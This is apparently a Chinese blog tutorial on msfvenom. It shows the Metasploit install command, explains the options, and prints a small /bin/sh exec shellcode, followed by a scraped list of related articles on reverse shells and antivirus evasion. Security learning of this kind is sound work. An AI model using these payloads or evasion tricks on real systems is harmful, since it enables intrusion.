0x00 安装metasploit

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall

0x01 参数介绍

Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message

1. -p 指定payload的功能

--payload:确定payload类型

--payload-options:查看对应payload类型子选项

例:
msfvenom -p linux/x86/exec CMD=/bin/sh 执行shell

2. -a 指定处理器架构和操作平台

--arch:指定处理器架构
--platform:指定平台
例:
msfvenom -a x86 --platform linux

3. -f 指定输出格式

例:
msfvenom -a x86 --platform linux -f python payload以python语言格式输出

4. -b 指定规避字符串(以字符的16进制表示)

例:
msfvenom -a x86 --platform linux -b "\x00\x0a" 生成的payload中不允许出现'\x00'和'\x0a'

5. -e 指定编码器

例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed

6. -n 在payload前填充Nop Sled

--nopsled:指定rop类型
<length>:指定rop长度
例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -n x86/single_byte 120

7. -l 列出msf中payload类型,编码器类型,NOP类型

msfvenom -l

Framework Payloads (486 total)
==============================

Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager

......

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder

......

Framework NOPs (9 total)
========================

Name Description
---- -----------
armle/simple Simple NOP generator
mipsbe/better Better NOP generator
php/generic Generates harmless padding for PHP scripts
ppc/simple Simple NOP generator
sparc/random SPARC NOP generator
tty/generic Generates harmless padding for TTY input
x64/simple An x64 single/multi byte NOP instruction generator.
x86/opty2 Opty2 multi-byte NOP generator
x86/single_byte Single-byte NOP generator

8. -v 指定payload名字

payload默认叫buf
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -f python

No encoder or badchars specified, outputting raw payload
  Payload size: 38 bytes
  Final size of python file: 192 bytes
  buf = ""
  buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
  buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
  buf += "\x00\x00\x00\x73\x68\x00\x57\x53\x89\xe1\xcd\x80"

例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -v payload -f python

No encoder or badchars specified, outputting raw payload
  Payload size: 38 bytes
  Final size of python file: 222 bytes
  payload = ""
  payload += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68"
  payload += "\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52"
  payload += "\xe8\x03\x00\x00\x00\x73\x68\x00\x57\x53\x89\xe1"
  payload += "\xcd\x80"

9. 其他参数我没有深究

0x02 参考

Shellcode生成器——msfvenom

生成自己的Alphanumeric/Printable shellcode

工具总归是工具,自己还是要会写,fighting!!                                                                      。

metasploit-shellcode生成的更多相关文章

  1. [原创]CobaltStrike & Metasploit Shellcode一键免杀工具

    CobaltStrike & Metasploit  Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...

  2. Metasploit+python生成免杀exe过360杀毒

    Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...

  3. MSFVENOM SHELLCODE生成备忘录

    MSFVENOM SHELLCODE生成 通用Shellcode msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHO ...

  4. windows:shellcode生成框架和加载

    https://www.cnblogs.com/theseventhson/p/13194646.html  分享了shellcode 的基本原理,核心思路是动态获取GetProcAddress和Lo ...

  5. shellcode生成框架

    因为vs编译后自己会生成很多东西,我们稍微配置下 先获取kernel32基址 __declspec(naked) DWORD getKernel32() { __asm { mov eax, fs:[ ...

  6. Kali-linux免杀Payload生成工具Veil

    Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件.本节将介绍Veil工具的安装及使用. 在Kali Linux中,默认没有安装Vei ...

  7. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  8. 使用metasploit进行栈溢出攻击-2

    基本的栈溢出搞明白了,真实攻击中一个很重要的问题是shellcode生成. 利用Metasploit提供的工具,可以方便的生成shellcode,然后可以使用第一篇中的代码进行验证. 先说一下如何生成 ...

  9. metasploit 一款开源的渗透测试框架

    渗透神器漏洞利用框架metasploit from: https://zhuanlan.zhihu.com/p/30743401 metasploit是一款开源的渗透测试框架软件也是一个逐步发展与成熟 ...

  10. 那些shellcode免杀总结

    首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...

随机推荐

  1. UVA12504【C++STL运用】

    雨巨的UVA的C++题集英文真长- 题意: 有两本字典,第一行是旧字典,第二行是新字典. 每行不超过100个字符,没有空格,两本字典都可以是空的: 新key:+ 缺key:- 值变 :* 思路: 具体 ...

  2. 请写出JAVA弹栈压栈的步骤, 栈的存储方式

    一.栈的作用 1. 栈的存放 局部变量 堆中对象的引用(对象在堆内存中的地址)   一个对象的大小无法估计,但是一个对象的引用只占4byte   基本数据类型的变量没有什么存储区域的说法,内存中分为两 ...

  3. 密码破解工具John the Ripper使用说明

    John the Ripper John 包描述 John the Ripper 既功能丰富又运行快速. 它在一个程序中结合了几种破解模式,并且可以根据您的特定需求进行全面地配置(你甚至可以使用支持C ...

  4. PHP不重新编译,单独添加模块扩展的方法

    php自身提供了很多扩展,比如curl,gmp, mbstring等.我们在编译安装php时未必安装了所有扩展.那么在安装完php后,如果想单独安装某个php自身的扩展怎么办呢? 我们以curl扩展模 ...

  5. Java基础 使用Properties类

  6. 应用日志获取-web系统

    1 场景 应用使开发写的,但应用使部署再服务器上,而开发没有ssh登陆服务器的权限. so,开发总是请运维查日志,下载日志. so and so,运维要花很多时间帮开发去搞日志. 这是件很没意义的事, ...

  7. AtCoder D - 高橋君と見えざる手 / An Invisible Hand 简单思维题

    http://arc063.contest.atcoder.jp/tasks/arc063_b 因为每次都是选取最大值,那么用dp[i]表示第i个数结尾能得到最大是多少. 其实就是用a[i]去减去左边 ...

  8. MDX之Avg函数使用

    日均值是比较常见的指标,本文对 MDX 计算日均值做一个总结 MDX 计算日均值,表达式一 WITH MEMBER Measures.[日均值] AS   Avg(      Descendants( ...

  9. 一个页面有相同ID元素的情况分析

    经常会遇到一个页面中有相同定义相同id的情况,从道理上来说,id应该是这个页面中某个元素的唯一标识,所以不应该出现有相同id的情况,否则会产生意想不到的结果.而且各个浏览器的表现也是不一样的.我只做了 ...

  10. js实现屏幕自适应局部

    <!doctype html> <html> <head> <meta charset="utf-8"> <title> ...